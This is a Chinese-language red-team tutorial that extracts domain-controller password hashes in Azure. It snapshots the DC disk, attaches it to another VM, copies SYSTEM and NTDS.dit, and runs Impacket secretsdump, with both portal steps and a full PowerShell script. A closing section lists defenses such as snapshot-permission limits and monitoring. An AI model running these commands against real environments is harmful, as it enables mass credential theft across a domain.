通过 4 个简单的步骤获取 Azure 中的 DC 哈希
字数 1127 2025-08-25 22:58:20
从Azure域控制器提取密码哈希的完整指南
概述
本指南详细介绍了如何通过4个步骤从Azure环境中运行的域控制器(DC)中提取密码哈希(NTLM哈希)。这种方法利用了Azure的快照功能,无需直接与域控制器交互,适用于红队评估和渗透测试场景。
前提条件
- 拥有对Azure中域控制器的访问权限
- 具备基本的Azure门户操作知识
- 了解Active Directory基础架构
方法一:通过Azure门户操作
1. 拍摄DC磁盘快照
- 登录Azure门户
- 导航到目标域控制器的虚拟机页面
- 点击"Create snapshot"按钮
- 填写快照名称并选择正确的资源组
- 确认区域与源虚拟机相同
- 点击"Create"创建快照
2. 将快照转换为可安装的虚拟磁盘
- 在Azure门户中,点击"All services"
- 搜索并选择"Disks"服务
- 点击"Add"创建新磁盘
- 设置"Source type"为"Snapshot"
- 选择之前创建的快照作为"Source snapshot"
- 确保磁盘创建区域与快照区域一致
- 完成磁盘创建
3. 将磁盘连接到虚拟机
- 创建或选择一台现有的虚拟机(推荐使用Debian等Linux系统)
- 在虚拟机配置中添加数据磁盘
- 选择之前创建的包含哈希的磁盘
- 完成虚拟机配置
4. 提取哈希
- 登录到挂载了磁盘的虚拟机
- 访问挂载的磁盘卷
- 复制
SYSTEM和NTDS.dit文件到工作目录 - 使用Impacket工具包中的
secretsdump.py提取哈希:python secretsdump.py -system SYSTEM -ntds NTDS.dit LOCAL
方法二:通过PowerShell自动化操作
1. 设置PowerShell与Azure交互
# 导入Azure模块
Import-Module Az
# 登录Azure账户
Connect-AzAccount
2. 获取虚拟机信息
# 列出资源组
Get-AzResourceGroup
# 列出特定资源组中的虚拟机
Get-AzVm -ResourceGroupName "InternalDomain"
3. 创建快照
# 获取虚拟机信息
$vm = Get-AzVm -ResourceGroupName "InternalDomain" -Name "Server2016DC"
# 创建快照配置
$snapshotConfig = New-AzSnapshotConfig -SourceUri $vm.StorageProfile.OsDisk.ManagedDisk.Id -Location $vm.Location -CreateOption copy
# 创建快照
New-AzSnapshot -Snapshot $snapshotConfig -SnapshotName "DCSnapshot" -ResourceGroupName "InternalDomain"
4. 将快照转换为虚拟磁盘
# 获取快照信息
$snapshot = Get-AzSnapshot -ResourceGroupName "InternalDomain" -SnapshotName "DCSnapshot"
# 创建磁盘配置
$diskConfig = New-AzDiskConfig -Location $snapshot.Location -SourceResourceId $snapshot.Id -CreateOption Copy
# 创建磁盘
New-AzDisk -Disk $diskConfig -ResourceGroupName "InternalDomain" -DiskName "DCHashDisk"
5. 将磁盘附加到虚拟机
# 获取目标虚拟机信息
$targetVM = Get-AzVm -ResourceGroupName "InternalDomain" -Name "DebianVM"
# 添加数据磁盘
Add-AzVMDataDisk -VM $targetVM -Name "DCHashDisk" -CreateOption Attach -ManagedDiskId (Get-AzDisk -ResourceGroupName "InternalDomain" -DiskName "DCHashDisk").Id -Lun 1
# 更新虚拟机配置
Update-AzVM -ResourceGroupName "InternalDomain" -VM $targetVM
防御措施
- 启用多因素认证(MFA):确保所有Azure管理员账户都启用了MFA
- 实施最小权限原则:限制对敏感系统/数据的访问权限
- 限制快照权限:创建规则防止非管理员用户制作磁盘快照
- 控制API权限:限制
Microsoft.Compute/snapshots/write权限 - 监控异常活动:设置警报监控异常的磁盘快照创建行为
结论
这种方法展示了云环境中潜在的安全风险,攻击者可以在不直接接触域控制器的情况下获取敏感凭证。组织应定期审查云资源配置和权限分配,确保遵循安全最佳实践。
工具推荐
- Impacket:用于从NTDS.dit文件中提取哈希
- Azure PowerShell模块:用于自动化操作
- Azure CLI:替代PowerShell的跨平台选择
注意事项
- 本指南仅用于合法的安全评估和渗透测试
- 在实际操作前确保获得适当的授权
- 操作完成后及时清理创建的资源和磁盘